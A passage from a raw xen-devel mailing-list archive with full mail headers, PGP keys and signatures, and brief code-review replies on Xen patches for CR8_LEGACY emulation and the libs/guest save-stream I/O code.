Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=dLiuaUSrUWrbcUr5JABYMgYkslhaRRjo8Xws1BmC0XI=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=K16nvloC7a8DilJtLiHDtOng5iOq3FDI7ByJ51PuwqtoIU9YDleDtfhin3SXcGjVz9r2XT+sy
 QNcsl5b6yQ1vmrPPz/4lY3Gk33RSV1zcRq5umdPgLFjJYH552sMYrC6tPRz0zLLYXbGF6j+/hrq
 SvM3f3dvbJbOmtWd7l2Bav+Gc0KaJlKJ5MFVoouSW4wN+NmmZsDFslSkdYtJTzubr2qQxFNfPiw
 zZnN9ZqHqAaJKYM6fPmltf0Fpebovn3a/ORspUrjhfIdqAdYBjrTiDcWYtr1vg48CSX//IkQtY5
 CRTQC0BP1VwnITFGWkQTNtHnwO4jBFktbvUtXxcftzvA==
X-Zone-Loop: a6936bec9d7fa8370257da55b3bc909c1aad1aadd109
x-campaign-type: default
x-transaction-id: 0e9c4ffc-ae47-4751-8796-f059beee8a5d
x-swg-uid: 01-46ddb29f-4ac8-450b-ad1f-62f7862adac3
X-Mailer: Sweego
Message-ID:
 <1783502974.8631fc262581453bbf619ec5b2062170.19f410fad6d00080a8@vates.tech>
x-swg-bid: 1783502974.8631fc262581453bbf619ec5b2062170.19f410fad6d00080a8
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Wed, 8 Jul 2026 11:29:32 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v3] x86/emul: Adjust handling of CR8_LEGACY
To: Andrew Cooper <andrew.cooper3@citrix.com>,
 Xen-devel <xen-devel@lists.xenproject.org>
Cc: Jan Beulich <jbeulich@suse.com>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger.pau@citrix.com>
References: <20260707194921.1425926-1-andrew.cooper3@citrix.com>
Content-Language: en-US
From: Teddy Astie <teddy.astie@vates.tech>
Autocrypt: addr=teddy.astie@vates.tech; keydata=
 xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7LTBVHV/XO
 Zw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJT4ny+OGntnJntUoR
 KRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJAWicutjkkUgd28Bh6HV9EIumH
 tCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQv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1-andrew.cooper3@citrix.com>
Content-Type: multipart/signed; micalg=pgp-sha256;
 protocol="application/pgp-signature";
 boundary="------------Q0iFHC5osYG5D7ahxiJRCAy7"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783502973596
X-purgate-ID: tlsNG-ef75cf/1783502975-FF73125E-BA4DB87B/0/0
X-purgate-type: clean
X-purgate-size: 7562

This is an OpenPGP/MIME signed message (RFC 4880 and 3156)
--------------Q0iFHC5osYG5D7ahxiJRCAy7
Content-Type: multipart/mixed; boundary="------------zBfH6Q8drECReT0YBQL8B8bu";
 protected-headers="v1"
From: Teddy Astie <teddy.astie@vates.tech>
To: Andrew Cooper <andrew.cooper3@citrix.com>,
 Xen-devel <xen-devel@lists.xenproject.org>
Cc: Jan Beulich <jbeulich@suse.com>, =?UTF-8?Q?Roger_Pau_Monn=C3=A9?=
 <roger.pau@citrix.com>
Message-ID: <6775b332-5b72-48d4-b07d-3da0e6419647@vates.tech>
Subject: Re: [PATCH v3] x86/emul: Adjust handling of CR8_LEGACY
References: <20260707194921.1425926-1-andrew.cooper3@citrix.com>
In-Reply-To: <20260707194921.1425926-1-andrew.cooper3@citrix.com>

--------------zBfH6Q8drECReT0YBQL8B8bu
Content-Type: multipart/mixed; boundary="------------r4u0Jb9eE7fd0FzJlTKwpnZX"

--------------r4u0Jb9eE7fd0FzJlTKwpnZX
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: base64

TGUgMDcvMDcvMjAyNiDDoCAyMTo0OSwgQW5kcmV3IENvb3BlciBhIMOpY3JpdMKgOg0KPiBU
aGUgQVBNIGRlc2NyaXB0aW9uIG9mIHRoZSBBbHRNb3ZDUjggZmVhdHVyZSBiaXQgaXM6DQo+
IA0KPiAgICAiTE9DSyBNT1YgQ1IwIG1lYW5zIE1PViBDUjgiDQo+IA0KPiBBZGp1c3QgdGhl
IGRlY29kZSBsb2dpYyB0byBiZWhhdmUgb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iB0aGlzIGJlaGF2
aW9yLg0KDQpJbnRlcmVzdGluZ2x5LCBJIHNlZSB0aGlzIGZlYXR1cmUgYml0IHNldCBvbiBJ
bnRlbCBoYXJkd2FyZS4NClRob3VnaCwgaXQncyBhIHJlc2VydmVkIGJpdCBpbiBTRE0sIGFu
ZCBsb2NrIG1vdiBjcjAgaXMgZGVmaW5lZCBhcyBiZWluZyANCiNVRC4NCg0KV2hpY2ggQ1BV
IG1vZGVsIGludHJvZHVjZWQgdGhpcyBmZWF0dXJlIGJpdCA/IEFuZCBkb2VzIEludGVsIGJl
aGF2aW9yIA0KbWF0Y2hlcyBBTUQncyBzcGVjID8NCg0KVGVkZHkNCg==
--------------r4u0Jb9eE7fd0FzJlTKwpnZX
Content-Type: application/pgp-keys; name="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Disposition: attachment; filename="OpenPGP_0x660FA9D102CBCFD0.asc"
Content-Description: OpenPGP public key
Content-Transfer-Encoding: quoted-printable

-----BEGIN PGP PUBLIC KEY BLOCK-----

xsDNBGn5sK8BDACuzSrrTjpVf4ay06OYB6yY0J1PqKffihoNMtrQRZjAHxoAPC7L
TBVHV/XOZw5HJc+9R71z1JV+iYg6z3jPziGKzX8Fj3ZXlzJPmpf1PuETH3KdbvtJ
T4ny+OGntnJntUoRKRPhTirr6yNeBk/637O3CQXjtqFUPZnko8OI/o1yawIBhJJA
WicutjkkUgd28Bh6HV9EIumHtCBgn5/1A/fpm9624MMgYLsA8qjC4XsoovQvFCaO
8HEhvfzrrTZHjn/nPeB9SigxIxXW8YaTVqMdqul07o72m3eA2mf+LMu9a04FX/d4
wbxBLtELm+1jIrbtyaFZEMOLv/haSiS/Lj3btJH/EoucejoZ5SH49ksmVAmKOLkt
OaTQ8b2gEvP7iaKiIiszCCtOSRohr+2GvDsDeLvVZnlR3I+SPhHar7TPKjFz0G3D
PNolyjXywNqOAMpomSPi8lSwjAFsxOtQbcck/qRGRSNk4DAmH70pA+89MXfQXZ3q
t1Q01B1+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m+Py0FiUGUa
A6yhexficjH+kCR/xDbVnWrMhSLB4AuTBT9HjfZI6gk3uYLhoT8Pig4/eVtR2Q1w
ZIJsFToR6ofGuyECwFcs+PUXN7fmGRSiPXgjAr/zIUBdW0VWCE3OGPNqtRk2E5s6
IQARAQABwsD8BBgBCAAmFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmn5sLAFCQWj
moACGwwACgkQZg+p0QLLz9DncQwAg76IehTemLIfrB8T9WIBZrI4kUV7G7a4rjiV
oUiHYN5QwhnbZnsaJDlt+Ezoqy/510eo2bCSzvW5xXYPgyjcuOPwgQo1Qp764Qxy
X6rld2f2RcWkDuBHun55ZWXjby8o21ginPRwruBVYY5rVf3DV1iBu4NurUeHtyFk
/dS0XTOQi2wVUb17sW/+ybCEokdVacZGzOqP/OmwHrF8ylXlXnhQq6e3r+J+T8fu
oGJelm/CJiMwyP6cEWE8sxVqX/iqwjwUYkuOCpE+lOWSvdNHgoEkWR0RXBPQjnGm
LKbfTl/QDXLk6NP2/r9uxm2HL6Ei3QJKSEdrp+XZaVnk/OffO485NOTKwGOxyWb0
06cTMh53xPkAJFQu4Tvdj+odsHz88jqw5wfPG0BYWx0I/FspYj7N9kZR8ULR9nX0
LvpzJ/kB4NgHIUt8YtIL6ZSfM2dbF7fKzvx1UqFfvozJZwFzfEieJLXa4nlGgR6D
x9fhaZEsniw8/bYgC3igkk5YJiOa
=3DlUIA
-----END PGP PUBLIC KEY BLOCK-----

--------------r4u0Jb9eE7fd0FzJlTKwpnZX--

--------------zBfH6Q8drECReT0YBQL8B8bu--

--------------Q0iFHC5osYG5D7ahxiJRCAy7
Content-Type: application/pgp-signature; name="OpenPGP_signature.asc"
Content-Description: OpenPGP digital signature
Content-Disposition: attachment; filename="OpenPGP_signature.asc"

-----BEGIN PGP SIGNATURE-----

wsD5BAABCAAjFiEEGAIew9LzHY3pdrqtZg+p0QLLz9AFAmpOGH0FAwAAAAAACgkQZg+p0QLLz9DB
gwv/b6lD6vhOZZQlrX5It2ppEw7KXkTdaGiEMiNjQ6esd6YF7XGyhvY0xdbQtA3rua4BmAvLASFR
ESczxNqte5SHAKSLA2r+Lj5sOwggVz0rkUfLEpoGNF8ULGudBvvI/8O8R6kIpziDHQhpviyUmZ3Y
J7bJS1TaAyhH0LBeDY8e1VHmGA5q1M10XJzy36R+/rHFFDXyzZUsY4zm7P7MavZ0nWbMZqjr0JR0
AMjH1boFTOtsUXLXC6r4tXrlICZCK9oR82iAKhQ3NfmSXWXAG1cAVup+N8H4GstuZ4R5FVKlNyYs
gQWsx5+OELsiBwbvwMc1+qs7NiOf7THfsDm7UE7YWHt3VureiwZFPdH25abXlYT4eNwkuxaIs7IK
sTJdECU70eGqTOfCcKqmUBI8a1CUwnzgxCF8cO/3ogqSVlAWjIMprMGG4hvsxYXv/q4k8sJybBcT
IxK+u+oPxjRqs9oo3H6NhuM5wbJM7R2sJSxauoZP84zd26GGG+eE2bSLGlWF
=XubR
-----END PGP SIGNATURE-----

--------------Q0iFHC5osYG5D7ahxiJRCAy7--


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 09:34:13 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 09:34:13 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356749.1611290 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whOfT-0006d5-Sn; Wed, 08 Jul 2026 09:34:11 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356749.1611290; Wed, 08 Jul 2026 09:34:11 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whOfT-0006cy-QA; Wed, 08 Jul 2026 09:34:11 +0000
Received: by outflank-mailman (input) for mailman id 1356749;
 Wed, 08 Jul 2026 09:34:10 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f4113cea800080a8@swg.vates.tech>)
 id 1whOfS-0006cp-Lj
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 09:34:10 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whOfR-009Jue-EF
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 11:34:09 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f4113cea800080a8@swg.vates.tech>)
 id 6a4e1986-5cb7-0a2a0a5109dd-0a2a4506cf32-38
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 11:34:09 +0200
Received: from [185.255.28.18] (helo=prod-mta-13.swg-srv.net)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f4113cea800080a8@swg.vates.tech>)
 id 6a4e1991-08de-0a2a45060019-b9ff1c12b287-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 11:34:09 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f4113cea800080a8.005 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 08 Jul 2026 09:34:04 +0000
Received: from l14 (lfbn-lyo-1-414-55.w2-7.abo.wanadoo.fr [2.7.24.55])
 (Authenticated sender: anthony.perard)
 by mail2.vates.fr (Postfix) with ESMTPSA id 4BE6D81D83;
 Wed,  8 Jul 2026 11:34:04 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=XpamGaYQvw+3YjHzOong6XuoyvFL4oqb+k2lh850Ae4=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=ELnlRnmWbbeIQhOcNyidhZ69By7d1mJ+YTcaECD3NqHH8bNnHWv9l99QV85cRxl0CYydjqp/Y
 tY61Z7G6g3NElkxnkvhQvnZzKF47a6i4q2v2ORvTkl9vBccrBctcZOXsDUTPg2geASBiFCUWkiz
 iJLSUqiXir7CCBfzaduvt2hGobDw9dgKVBllzst4IKLO3CEPE6AdDKC+G5kx5UxohCzbBLzMJ5i
 1DM/D3DYCap1S8/xiQzlOS8K9V92r6kLQA2HDfUJyzxhz92EeGZfTXlLiiHItUhiP/bnomKlX78
 fIfJ7DWCP0/YpfUKWibgPFwEFk6AkLR8hfaApGhewB1A==
X-Zone-Loop: 2fabb0fc48a13568c3d24e1e1407084eb8dec78d16cd
x-campaign-type: default
x-transaction-id: 0250ad51-7cc1-4973-9604-84e5ff38cf54
x-swg-uid: 01-aaac5e14-13de-4875-8856-5713489adfac
X-Mailer: Sweego
Message-ID:
 <1783503245.8631fc262581453bbf619ec5b2062170.19f4113cea800080a8@vates.tech>
x-swg-bid: 1783503245.8631fc262581453bbf619ec5b2062170.19f4113cea800080a8
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Wed, 8 Jul 2026 11:34:04 +0200
From: Anthony PERARD <anthony.perard@vates.tech>
To: Frediano Ziglio <freddy77@gmail.com>
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
	xen-devel@lists.xenproject.org,
	Frediano Ziglio <frediano.ziglio@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Roger Pau =?iso-8859-1?Q?Monn=E9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Juergen Gross <jgross@suse.com>
Subject: Re: [PATCH v6 03/16] libs/guest: Reduce number of I/O vectors in
 write_batch
References: <20260619130501.272832-1-frediano.ziglio@citrix.com>
 <20260619130501.272832-4-frediano.ziglio@citrix.com>
 <73d8b955-8462-47ce-8913-d11303bf63c3@citrix.com>
 <CAHt6W4cYmoRxgAs=hX6zcvhPA3j9Jeb+9X+Z+OAayB0owYNvHw@mail.gmail.com>
MIME-Version: 1.0
Content-Disposition: inline
In-Reply-To: <CAHt6W4cYmoRxgAs=hX6zcvhPA3j9Jeb+9X+Z+OAayB0owYNvHw@mail.gmail.com>
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.3e4.7aa620b5ae91f645.19f4113ccb8.bb17dbe06c8c47c=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783503244473
X-purgate-ID: tlsNG-16d1c6/1783503249-F9F9268D-10739C45/0/0
X-purgate-type: clean
X-purgate-size: 1464

---=Part.3e4.7aa620b5ae91f645.19f4113ccb8.bb17dbe06c8c47c=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

On Thu, Jul 02, 2026 at 01:33:05PM +0100, Frediano Ziglio wrote:
> On Tue, 30 Jun 2026 at 17:47, Andrew Cooper <andrew=2Ecooper3@citrix=2Ec=
om> wrote:
> >
> >
> > This has the same exact subject as the prior patch=2E
> >
> > Either it wants merging, as they're both in the same function, or the
> > subject wants to be different=2E  Even a "Further =2E=2E=2E" prefix wo=
uld help=2E
> >
> > On 19/06/2026 2:04 pm, Frediano Ziglio wrote:
> > > Each page was sent using a different iovec item=2E This potentially =
exceed
> > > Linux maximum (1024)=2E
> >
> > Linux cannot have a maximum of 1024 because this has been working fine
> > for a decade using 1028 in the common case=2E
> >
>=20
> But the code does not call writev or similars directly, so there's no
> limit besides the sky=2E
> The result with 1028 is simply that you do 2 system calls instead of one=
=2E

Could you add something along those lines to the description? And turn a
sentence saying there's a bug into a description saying it's suboptimal=2E

With that: Acked-by: Anthony PERARD <anthony=2Eperard@vates=2Etech>

Thanks,


-- 
Anthony Perard | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vate=
s solutions

web: https://vates=2Etech
---=Part.3e4.7aa620b5ae91f645.19f4113ccb8.bb17dbe06c8c47c=---


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 09:36:00 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 09:36:00 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356755.1611300 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whOhB-000777-6N; Wed, 08 Jul 2026 09:35:57 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356755.1611300; Wed, 08 Jul 2026 09:35:57 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whOhB-000770-3i; Wed, 08 Jul 2026 09:35:57 +0000
Received: by outflank-mailman (input) for mailman id 1356755;
 Wed, 08 Jul 2026 09:35:56 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f411579c300080a8@swg.vates.tech>)
 id 1whOhA-00076u-DU
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 09:35:56 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whOh9-007jRj-Ph
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 11:35:55 +0200
Received: from [10.42.69.3] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1) (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f411579c300080a8@swg.vates.tech>)
 id 6a4e19f7-2eae-0a2a0a5409dd-0a2a4503c730-26
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 11:35:55 +0200
Received: from [185.255.28.18] (helo=prod-mta-13.swg-srv.net)
 by tlsNG-33051d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from
 <prod-mta-13.8631fc262581453bbf619ec5b2062170.19f411579c300080a8@swg.vates.tech>)
 id 6a4e19fb-ec1a-0a2a45030019-b9ff1c128c29-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 11:35:55 +0200
Received: from mail2.vates.fr ([37.26.189.201] mail2.vates.fr)
 (Authenticated sender:
 8631fc262581453bbf619ec5b2062170/smtp/7773de5a-2839-4720-82ee-e06722ae1d3e)
 by prod-mta-13.swg-srv.net (ZoneMTA - prod-mta-13) with ESMTPSA id
 19f411579c300080a8.005 for <xen-devel@lists.xenproject.org>
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384);
 Wed, 08 Jul 2026 09:35:54 +0000
Received: from l14 (lfbn-lyo-1-414-55.w2-7.abo.wanadoo.fr [2.7.24.55])
 (Authenticated sender: anthony.perard)
 by mail2.vates.fr (Postfix) with ESMTPSA id A809581F71;
 Wed,  8 Jul 2026 11:35:53 +0200 (CEST)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=vates.tech header.i="@vates.tech" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:In-Reply-To:References:Feedback-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=vates.tech;
 q=dns/txt; s=selector1; bh=7iG1N2voAtfWktDcNlwyfPu9/zNlX6JEIm9b+9inHRU=;
 h=from:subject:date:message-id:to:cc:mime-version:content-type:in-reply-to:references:feedback-id;
 b=GJ3pI0HwoJeN7J3C1ZFbBRC9/qIYQ7jBkjWT+0UV49LFCN/F9bfej/hlVCkpa51D2jthPraWl
 tgdskuPsA7CbYkITD8mYxUDt7rIYMgDQYxiD+6i5A80PapTz0mvkritHgKQoU2dh0WGQpuwA41f
 oJK3MKqM+ljIn/XMXNo5CbwCs5HvWLwI1xp2Uf6dYTtGlm0kRSSM4Cvp9ps73O/Da8rGp16HSZ4
 vfW9aU1WsPCKMW7MLfTrD6nzw0fpnVkaQGcRH/nK2U0Wmd4r8rsXEXY/JVvrMWba3hM9bSqQLwQ
 +CF5hOntLApKwWNg/ZWPoj2ErMH2qZtdlWA4oKoW7Bfw==
X-Zone-Loop: 813df6552400fb67d9be02cc00213eaf8e93c27f17fe
x-campaign-type: default
x-transaction-id: 355482db-7b7f-4973-8038-1fd7d95b72d8
x-swg-uid: 01-d41f8a0e-c0c8-4006-9954-1d995666430d
X-Mailer: Sweego
Message-ID:
 <1783503354.8631fc262581453bbf619ec5b2062170.19f411579c300080a8@vates.tech>
x-swg-bid: 1783503354.8631fc262581453bbf619ec5b2062170.19f411579c300080a8
Feedback-ID: default:8631fc262581453bbf619ec5b2062170:Sweego
x-campaign-id: default
x-client-id: 8631fc262581453bbf619ec5b2062170
X-Originating-IP: [37.26.189.201]
Date: Wed, 8 Jul 2026 11:35:53 +0200
From: Anthony PERARD <anthony.perard@vates.tech>
To: Frediano Ziglio <freddy77@gmail.com>
Cc: xen-devel@lists.xenproject.org,
	Frediano Ziglio <frediano.ziglio@citrix.com>,
	Jan Beulich <jbeulich@suse.com>,
	Roger Pau =?iso-8859-1?Q?Monn=E9?= <roger.pau@citrix.com>,
	Teddy Astie <teddy.astie@vates.tech>,
	Juergen Gross <jgross@suse.com>,
	Andrew Cooper <andrew.cooper3@citrix.com>
Subject: Re: [PATCH v6 04/16] libs/guest: Use a single write_exact in
 write_headers
References: <20260619130501.272832-1-frediano.ziglio@citrix.com>
 <20260619130501.272832-5-frediano.ziglio@citrix.com>
 <a05d32b0-464b-4ecd-8778-0f19101f5a86@citrix.com>
MIME-Version: 1.0
Content-Disposition: inline
In-Reply-To: <a05d32b0-464b-4ecd-8778-0f19101f5a86@citrix.com>
X-BM-Disclaimer: Yes
Content-Type: multipart/alternative; boundary="-=Part.3e9.68a19550c96c94fc.19f411577e5.52bdc0f388f558ea=-"
X-Bm-Milter-Handled: 4ffbd6c1-ee69-4e1b-aabd-f977039bd3e2
X-Bm-Transport-Timestamp: 1783503353829
X-purgate-ID: tlsNG-33051d/1783503355-B4D805D1-804E38A7/0/0
X-purgate-type: clean
X-purgate-size: 1079

---=Part.3e9.68a19550c96c94fc.19f411577e5.52bdc0f388f558ea=-
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: quoted-printable

On Tue, Jun 30, 2026 at 05:47:42PM +0100, Andrew Cooper wrote:
> On 19/06/2026 2:04 pm, Frediano Ziglio wrote:
> > diff --git a/tools/libs/guest/xg_sr_save=2Ec b/tools/libs/guest/xg_sr_=
save=2Ec
> > index eba33f861a=2E=2E8c31f9f86c 100644
> > --- a/tools/libs/guest/xg_sr_save=2Ec
> > +++ b/tools/libs/guest/xg_sr_save=2Ec
> > +    } hdrs =3D {
> > +        {
>=20
> =2Eihdr =3D {
>=20
> > +            =2Emarker  =3D IHDR_MARKER,
> > +            =2Eid      =3D htonl(IHDR_ID),
> > +            =2Eversion =3D htonl(3),
> > +            =2Eoptions =3D htons(IHDR_OPT_LITTLE_ENDIAN),
> > +        },
> > +        {
>=20
> =2Edhdr =3D {

With that: Acked-by: Anthony PERARD <anthony=2Eperard@vates=2Etech>

Thanks,


-- 
Anthony Perard | Vates XCP-ng Developer

XCP-ng & Xen Orchestra - Vate=
s solutions

web: https://vates=2Etech
---=Part.3e9.68a19550c96c94fc.19f411577e5.52bdc0f388f558ea=---


From xen-devel-bounces@lists.xenproject.org Wed Jul 08 09:37:34 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Wed, 08 Jul 2026 09:37:34 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1356763.1611308 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whOij-0007bM-FI; Wed, 08 Jul 2026 09:37:33 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1356763.1611308; Wed, 08 Jul 2026 09:37:33 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1whOij-0007bF-Ce; Wed, 08 Jul 2026 09:37:33 +0000
Received: by outflank-mailman (input) for mailman id 1356763;
 Wed, 08 Jul 2026 09:37:31 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1whOih-0007ay-PQ
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 09:37:31 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1whOig-00Gwfm-VU
 for xen-devel@lists.xenproject.org; Wed, 08 Jul 2026 11:37:30 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4e1a58-bab6-0a2a0a5309dd-0a2a4506c5ce-10
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 11:37:30 +0200
Received: from [209.85.221.54] (helo=mail-wr1-f54.google.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a4e1a5a-08de-0a2a45060019-d155dd36dd30-3
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 11:37:30 +0200
Received: by mail-wr1-f54.google.com with SMTP id
 ffacd0b85a97d-4720d22c94aso434203f8f.1
 for <xen-devel@lists.xenproject.org>; Wed, 08 Jul 2026 02:37:30 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 ffacd0b85a97d-47a9e4d6e4csm38520513f8f.10.2026.07.08.02.37.29
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Wed, 08 Jul 2026 02:37:30 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
